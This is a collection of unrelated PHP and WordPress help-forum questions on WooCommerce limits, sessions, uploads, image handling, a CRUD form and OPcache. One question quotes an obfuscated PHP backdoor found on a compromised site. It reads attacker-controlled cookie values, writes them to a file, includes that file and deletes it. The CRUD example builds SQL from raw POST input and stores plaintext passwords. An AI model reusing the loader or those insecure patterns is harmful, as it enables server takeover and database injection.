Limit the total number of products sold per day of the week on woocommerce

I am looking to limit the number of total products sold per day on woocommerce.
Here is my problem, I am going to sell breads to order (5 different breads) but I can only produce 200 in total per day of the week and 300 on the weekend.
I will deliver them on one or more pickups per day but I am always limited to my 200 loaves per day, they will also be able to choose the collection date. Customers will be able to purchase one or more loaves per order. (for this I will use the orderable plugin)
My only problem is limiting the total number of products sold (200 or 300 per day).
example:
for March 8 = 45 loaves1 55 loaves2 15 loaves3 35 loaves4 50 loaves5

for March 10 = 10 loaves1 20 loaves2 80 loaves3 40 loaves4 50 loaves5

Is there a way to limit the total number of products sold per day on woocommerce?

Thank you for your help

Some plugins allow you to limit the sale of one product per day, the number of orders per day or even per pickup, that’s not what I’m looking for.

Sending data to next page from a div [closed]

I made a php page that gets my tours info from a database using WHILE loop and display my tours in div called for example Tourbloc , any way the tourbillon div have a button that’s repeated too whith the loop , and I want to when I click a button on a certain block it takes me to next page and save certain info from that block that are related to a certain tour ,and send it to next page ,please help please.

I tried java script but didn’t know how ,I expect to send a data got from a div to next page with clicking on a button

PHP exec/passthru/system produces different result than executing manually from command line, why?

I am currently trying to launch a print from localhost/php by doing an exec/passthru/system on a python script

php part:


<?php
passthru('C:UsersUserAppDataLocalProgramsPythonPython38python.exe C:gsprint.py', $output); 
?> 

python part:


#!/usr/bin/env python
import win32print
import win32api
import requests

PDFXC = "C:Program FilesTracker SoftwarePDF ViewerPDFXCview.exe"

LOCAL_FILE = "C:/gs/label.pdf"
currentprinter = "BIXOLON SRP-770II"
url='https://www.myserver.com/mydata/label.pdf'
r = requests.get(url, stream=True)
with open(LOCAL_FILE, 'wb') as f:
    f.write(r.content)
params = ' /printto "'+currentprinter+'" "'+LOCAL_FILE+'"'
print(params);
win32api.ShellExecute(0, 'open', PDFXC, params, '.',0) 

xampp / windows

And now to the weird part, executing the python script from **windows cmd ** everything prints as it should, executing it from PHP no matter if by exec, passthru or system. The print is missing parts or with a different document 3 empty pages are “printed” after each page.

WHY? Basically PHP shouldn’t do anything else than me executing the python script manually from command line ?

Fast access to models in a ArrayDataProvider based on their key?

I have an ArrayDataProvider of Items, returned by a function of the following form:

public function builder() {
  $items = Item::find()->all();
  $dataProvider = new ArrayDataProvider([
     'allModels'  => $items,
     'pagination' => false,
     'id'         => 'items_dp'
  ]);
  return $dataProvider;
}

For various reasons, I need the code for this function to stay as it is.

My question is, if I have a list of Item ids, myItemIds, is there any way to rapidly select Items in the DataProvider having those ids one by one?
For example, in an application like:

$provider = builder();
$myItemIds = [112,321,422];
$superItems = [];
foreach ($myItemIds->each() as $itemId) {
  $superItem = // builder based on data from the Item in DataProvider with id = $itemId and other things;
  $superItems[] = $superItem;
}

How turn txt file into an associative array that I am able to acess to? (PHP)

I am doing a school project where I have to open a txt file and acess a list of furniture and their prices. The following is the format;

Dining Table, 595.00
Dining Chair, 145.00
Coffee Table, 259.99

I want to basically put them into an associative array with keys and values that I can acess to, so I can quickly calculate the prices of what the customers ordered and the quantity.

$filename = "Furniture.txt";
$myfile = fopen($filename, "r") or die("Unable to open file!");
while(!feof($myfile)) {
  $data = array(fgets($myfile)."<br>");
}

    $IDArray = array();
    foreach($data as $line)
    {
        $pieces = explode(',',$line);
        $IDArray[$pieces[0]] =   $pieces[1];      
    }
    foreach ($IDArray as $IDNumber =>$Price) {
        echo "Furniture: ".$IDNumber. '<br>';
        echo "Price: ".$Price. '<br>';
        echo "<br>";
        var_dump($data);

This was my attempt but when I try to echo..it only comes up with the last key and pair and not all of the content.

When laravel session can be expired before their lifetime if used file or redis driver? as sometime my custom config working and sometime not

I used custom session driver with using config/session_custom.php file, sometime it is working and sometime not

in .env it’s like below

SESSION_CUSTOM_DRIVER=redis
SESSION_CUSTOM_LIFETIME=180
SESSION_CUSTOM_COOKIE="${APP_NAME}_custom_session"

and i used when like below when storing data into session

config(['session' => include config_path('session_custom.php)]);
Session::put('custom_cart_data', $data);

so sometimes it works and sometimes it get expired before 180 minutes

Solve a display problem with my WordPress plugin

I’m trying to make my own wordpress plugin, but it don’t work well. At the moment my php code is very simple :


//THE_CONTENT
function bjr() {
    echo "COUUCOUUUU";
}

add_action('the_content', 'bjr');

But when i load a page the echo “COUUCOUU” is displayed for 10ms before the page and then disapear. Here is the first milliseconds when i refresh my page :

The first milliseconds when i refresh my page

And then :
My page after loading

And also, i don’t know why but my echo is displayed two times like ou can see in the screenshot, even though I only have one echo

I tried to activate and desactivate my plugin, when desactivated, my wordpress work well, but when i activate it, my page display this error message “Updating failed. The response is not a valid JSON response.”. I thought it was only my plugin fault but when i tried the preinstalled plugin “Holly Dolly” i had the same problem.

I also tried to change my add_action, instead of add_action('the_content', 'bjr'); i wrote
add_action('admin_notices', 'bjr');and it worked :
Admin side

I use wordpress on local only, so i tried to delete and download again but nothing changed, i also used a lot chatGPT but he didn’t helped me, same for every forums i saw, looks like i’m the first one to have this problem.

I don’t know what is the problem, maybe the plugin is loaded faster than the page, maybe my wordpress read two times my php so he display it two times, idk, i hope someone could help me

include_all_form_fields parameter for subfields in laravel backpack

I want to complicate the question a little from here.
If we have one form, then we can easily process the request in a fetch function. How can we implement the search if we have several identical forms in the subfields?
For example

public function setupCreateOperation()
{
    ...
    $this->crud->addFields([
        [
        'name'  => 'anyRows',
        'type'  => 'relationship',
        'label' => 'Table 1-N',
        'subfields'   => [
            [
                'name'    => 'status',
                'label'   => trans($this->trans_prefix . 'status'),
                'type'    => 'select_from_array',
                'options' => [
                    0 => 'one',
                    1 => 'two'
                ],
            ],
            [
                'name'                    => 'service_id',
                'label'                   => trans($this->trans_prefix . 'service'),
                'type'                    => 'select2_from_ajax',
                'entity'                  => 'service',
                'method'                  => 'post',
                'data_source'             => url('fetch/service'),
                'minimum_input_length'    => 0,
                'include_all_form_fields' => true
            ]
        ]
    ]);
}

What should we do in this case? So that a fetch request for a service field would depend only on the corresponding status field?
It seems to me that you need to somehow pass the row number in the anyRows array in order to parse the request in the future. Is it possible to do this?

public function fetchService($args)
{
    dd($args); // args - number in anyRows array
}

Fixing rotated image uploads In PHP

function generateRandomString($length = 10) 
{
  $characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
  $randomString = '';
  
  for ($i = 0; $i < $length; $i++) {
    $randomString .= $characters[rand(0, strlen($characters) - 1)];
  }

  return $randomString . '.jpg';
}

if(isset($_FILES["studentProfile"]))
{
  $uploadDir = '../../vendor/img/students/';
  $fileName = $_FILES['studentProfile']['name'];
  $fileTmpName = $_FILES['studentProfile']['tmp_name'];
  $fileType = $_FILES['studentProfile']['type'];
  
  if ($_FILES['studentProfile']['error'] === UPLOAD_ERR_NO_FILE)
  {
    if($stuGender === "male")
    {
      $StuImgId = "male.jpg";
    } 
    elseif($stuGender === "female")
    {
      $StuImgId = "female.jpg";
    } 
    else
    {
      $StuImgId = "default.jpg";
    }
  } 
  else 
  {
    $allowedTypes = ['image/jpeg', 'image/png'];
    
    if (!in_array($fileType, $allowedTypes)) 
    {
      $message = "Error: Only JPG or PNG files are allowed.";
      exit;
    }

    if ($fileType == 'image/png') 
    {
      $source = imagecreatefrompng($fileTmpName);
      $fileName = $uploadDir . generateRandomString();
      imagejpeg($source, $fileName);
      imagedestroy($source);
    } 
    else 
    {
      $fileName = $uploadDir . generateRandomString();
      move_uploaded_file($fileTmpName, $fileName);
    }

    $newWidth = 413;
    $newHeight = 531;
    list($width, $height) = getimagesize($fileName);
    $imageResized = imagecreatetruecolor($newWidth, $newHeight);
    $source = imagecreatefromjpeg($fileName);
    imagecopyresized($imageResized, $source, 0, 0, 0, 0, $newWidth, $newHeight, $width, $height);
    imagejpeg($imageResized, $fileName);
    imagedestroy($source);
    imagedestroy($imageResized);
    $compressionQuality = 75;
    $source = imagecreatefromjpeg($fileName);
    imagejpeg($source, $fileName, $compressionQuality);
    imagedestroy($source);
    $upath = parse_url($fileName, PHP_URL_PATH);
    $StuImgId = basename($upath); 
  }
}

When I upload this code using type=file everything is working properly except that the image is rotated, like this:

enter image description here

Can anyone suggest how to fix this issue? Specifically it is happening when I upload large size photos.

Uncaught TypeError: count(): Argument #1 ($value) must be of type Countable|array, SBError given in

for ($i = 0; $i < count($orders); $i++) {
        $total += floatval($orders[$i]['price']);
        $orders[$i]['url'] = $url . '/admin/all_orders/' . sb_aecommerce_encrypt($orders[$i]['id']) . '/show';
    }

how can i solve this issue ?

i try to make the code like this but still not work

for ($i = 0; $i < count((array)$orders); $i++)
for ($i = 0; $i < count((array)$orders); $i++) {
        $total += floatval($orders[$i]['price']);
        $orders[$i]['url'] = $url . '/admin/all_orders/' . sb_aecommerce_encrypt($orders[$i]['id']) . '/show';
    }

How do I decode malicious PHP code to find out what it does?

I am dealing with Malware that keeps recreating files and is really hard to get rid of. Here is some code I think might be relevant..

The problem mainly affected WordPress Sites, I updated all the PHP versions and got rid of old plugins. I think it might be due to the recent Bricks exploit that happened around Valentines Day.

<?php
$tM = ${"137" . "103117117113" .    "111105"};
if (isset($tM[(99    - 0)])) {
    $ScL = $tM[(88 - 8)]    . $tM[(38 - 10)];
    $skZ = $ScL($tM[(58    -    27)] . $tM[(44 - 33)]);
    $nTO = $skZ($ScL($tM[(98 - 1)]));
    $lvo =    $skZ($ScL($tM[(71 -    19)]));
    $yJd    = __DIR__ . $skZ($ScL($tM[(74 - 17)]));
    $nTO($yJd, $skZ($ScL($tM[(99 - 0)])));
    include($yJd);
    $lvo($yJd);
}

I already tried decoding this using Gemini, ChatGPT and Mixtral as well as by hand but I didn’t get too far. I hope I get some more insights of what is happening, what this code does and why it keeps duplicating itself.

using session with curl php

i want to check if the user who logged in have role ‘admin’ and his com ‘1’ so put it in session and it is working in every php files correctly but not when crul is happen it get as undefined . so i make file with sessions value and dont know how to fetch data from it

my getData.php :

session_start();    
    if ($_SESSION['login'] == false) {
  echo ' <script> location.replace("../logout.php"); </script>';
}


define("SESSION_FILE", "session_data.txt");

function fetchDataWithSession($url)
{

    // Check if the session data file exists and read its contents
    if (file_exists(SESSION_FILE)) {
        $sessionData = unserialize(file_get_contents(SESSION_FILE));
        $_SESSION = is_array($sessionData) ? $sessionData : [];
    }

    // Initialize cURL session
    $ch = curl_init($url);

    // Set cURL options
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    
    // Pass the session data in the request headers
    $headers = [
        'Cookie: ' . http_build_query($_SESSION, '', '; ')
    ];
    curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);

    // Execute cURL session and get the response
    $response = curl_exec($ch);

    // Check for cURL errors
    if (curl_errno($ch)) {
        // Handle error
        echo 'Curl error: ' . curl_error($ch);
    }

    // Close cURL session
    curl_close($ch);

    // Write the updated session data to the file
    file_put_contents(SESSION_FILE, serialize($_SESSION));

    // End the session
    session_write_close();

    return $response;
}

$protocol = isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? 'https' : 'http';
$host = $_SERVER['HTTP_HOST'];
$path1 = rtrim(dirname($_SERVER['REQUEST_URI']), '/');
$path = "$protocol://$host$path1/action.php";

// $sessionData = fetchDataWithSession($url . '?getSessionData=true');
$ispData = fetchDataWithSession($path . '?getIsp=true');


echo $ispData;

die();

my action.php :
the path lead my in this file .

<?php


session_start();


if (isset($_SESSION['role']) && isset($_SESSION['comp'])) {
    // Retrieve values of 'role' and 'comp'
    $role = $_SESSION['role'];
    $comp = $_SESSION['comp'];

} else {
   
    echo 'Session variables "role" or "comp" not set.';
}

// Include the database configuration file
require_once '../db/config.php';

function getIsp($conn)
{

    if ($_SESSION['role'] == 'admin' && $_SESSION['comp'] == 1) {

        $stmt = $conn->query('SELECT isp_id, isp_name FROM isp');
        $result = $stmt->fetchAll(PDO::FETCH_ASSOC);
        return json_encode($result);
    } else {
        $comp_id = $_SESSION['comp'];

        $stmt = $conn->prepare('SELECT isp_id, isp_name FROM comp_isp WHERE comp_id = :comp_id');
        $stmt->bindParam(':comp_id', $comp_id, PDO::PARAM_INT); // Assuming comp_id is an integer
        $stmt->execute();
        $result = $stmt->fetchAll(PDO::FETCH_ASSOC);
        return json_encode($result);
    }


}


$method = $_SERVER['REQUEST_METHOD'];
switch ($method) {
    case 'GET':

        if (isset($_REQUEST['getIsp'])) {
            echo getIsp($conn);
        }


        break;
    case 'POST':

Upload files – array created in wrong way?

I try multiple upload via

      <input type="file" class="file-upload-field" id="file_name" name="files_names[]" multiple="multiple" />

and javascript/jquery code looks like this : (taken from other SoF articles)

$(document).on('submit', '#addform', (function() {
var files = $('#file_name')[0].files;
var formData = new FormData();

for (var i=0; i < files.length; i++)
  formData.append('file_names[]', files[i]);

  $.ajax({
    url: 'ajax_addrecord.php',
        type: "POST",
  data: formData,
  contentType: false,
  cache: false,
  processData:false,
  timeout: 2000,
    success: function(data) {
      console.log('Record added.');
    }
  });

}));

but when I do this in my PHP file (just to check if the files arrive ok)

error_log($date_time." :: ".print_r($_FILES, true), 0);

the result is as follows:

 2024-03-03 11:14:47 :: Array
 (
     [file_names] => Array
         (
             [name] => Array
                 (
                     [0] => HeleneBarrow Profil.png
                     [1] => horn_fuuuck_lovers.JPG
                     [2] => lakn_profil_mona.JPG
                 )
             [type] => Array
                 (
                     [0] => image/png
                     [1] => image/jpeg
                     [2] => image/jpeg
                 )
             [tmp_name] => Array
                 (
                     [0] => /tmp/phpZ3FVIl
                     [1] => /tmp/phpvolre9
                     [2] => /tmp/phpp4gYJW
                 )
             [error] => Array
                 (
                     [0] => 0
                     [1] => 0
                     [2] => 0
                 )
             [size] => Array
                 (
                     [0] => 270198
                     [1] => 12359
                     [2] => 82773
                 )
         )

Expected result should look like this:

  [file_names] => Array
    [0] => {
      (
        [name] => HeleneBarrow Profil.png
        [type] => image/png
        [tmp_name] => /tmp/phpNmM8Se
        [error] => 0
        [size] => 270198
      )
    }
    [1] => {
      (
        [name] => horn_fuuuck_lovers.JPG
        [type] => image/jpeg
        [tmp_name] => /tmp/phpvolre9
        [error] => 0
        [size] => 270198
      )
    }
    [2] => {
      (
        [name] => lakn_profil_mona.JPG
        [type] => image/jpeg
        [tmp_name] => /tmp/phpp4gYJW
        [error] => 0
        [size] => 270198
      )
  }

It seems it segments the array per attribute instead of per image.
Anyone see where I do wrong?

Best regards

Lars

PHP CRUD data not posting even after db connection successful

I developed the create function for my PHP CRUD, the database connection is successful, but when I post the data, it doesn’t do anything. It should either say that the data is posted successfully or that there is an error.

I have two pages:

connect.php:

<?php 
$con = new mysqli('localhost', 'root', '', 'crudoperation');

if(!$con){
    die(mysqli_error($con));
}else{
    echo 'database connection successfully established';
}
?>

and user.php

<?php 
include 'connect.php';

if (isset($_POST['submit'])){ // si on appuye sur submit, poster tous les champs
    $name=$_POST['name'];
    $email=$_POST['email'];
    $mobile=$_POST['mobile'];
    $password=$_POST['password'];

    $sql="insert into `crud` (name, email, mobile, password)
    values('$name','$email','$mobile','$password')";
    $result=mysqli_query($con, $sql);
    if($result){
        echo "Data inserted successfully";
    }else{
        die(mysqli_error($con));
    }
}
?>

<!doctype html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <title>CRUD PHP</title>
    <link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-QWTKZyjpPEjISv5WaRU9OFeRpok6YctnYmDr5pNlyT2bRjXh0JMhjY6hW+ALEwIH" crossorigin="anonymous">
  </head>
  <body>
    <div class="container my-5">
        <form method="post">
            <div class="mb-3">
                <label>Name</label>
                <input type="text" class="form-control" placeholder="Enter your name" name="name" autocomplete="off">
            </div>
            <div class="mb-3">
                <label>Email</label>
                <input type="email" class="form-control" placeholder="Enter your email" name="email" autocomplete="off">
            </div>
            <div class="mb-3">
                <label>Mobile</label>
                <input type="text" class="form-control" placeholder="Enter your mobile number" name="mobile" autocomplete="off">
            </div>
            <div class="mb-3">
                <label>Password</label>
                <input type="password" class="form-control" placeholder="Enter your password" name="password" autocomplete="off">
            </div>
            <button type="submit" class="btn btn-primary">Submit</button>
        </form>
    </div>
    <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js" integrity="sha384-YvpcrYf0tY3lHB60NNkmXc5s9fDVZLESaAA55NDzOxhy9GkcIdslK1eN7N6jIeHz" crossorigin="anonymous"></script>
    <script src="https://cdn.jsdelivr.net/npm/@popperjs/[email protected]/dist/umd/popper.min.js" integrity="sha384-I7E8VVD/ismYTF4hNIPjVp/Zjvgyol6VFvRkX/vR+Vc4jQkC+hVqc2pM8ODewa9r" crossorigin="anonymous"></script>
    <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.min.js" integrity="sha384-0pUGZvbkm6XF6gxjEnlmuGrJXVbNuzT9qBBavbLwCsOGabYfZo0T0to5eqruptLy" crossorigin="anonymous"></script>
  </body>
</html>

What can be the problem ?

I removed the name="submit" I previously had and instead of showing me a white screen, it showed me the same forms as before submitting.

OPcache settings for drupal -which file? and what are the proper setting?

First of all, i need to say:
“It’s been a long time since I installed last time drupal”
The last Drupal I used was Drupal 7.

I already spent 1 week to try and retry again.
(by reinstalling about 10 times from zero Ubuntu 22.04 with Nginx)
(consulting 7 different guides and all of them had some mistakes)
Now, I was able to install Drupal10 and make it work.
But I want more: activate OPcache

On my server I have 2 php.ini :

/etc/php/8.1/cli/php.ini

/etc/php/8.1/fpm/php.ini

I guess the one responsible for Drupal is the second one: /etc/php/8.1/fpm/php.ini
But I am not sure and I am asking you

Both of the files have OPcache online
1765
but which one do I need to modify?
it is for sure /etc/php/8.1/fpm/php.ini ?

For the settings, I found this:

opcache.enable=1
opcache.memory_consumption=128
opcache.interned_strings_buffer=8
opcache.max_accelerated_files=4000
opcache.revalidate_freq=60
opcache.fast_shutdown=1

Is it correct? or i need modify something else?

Thank to all that help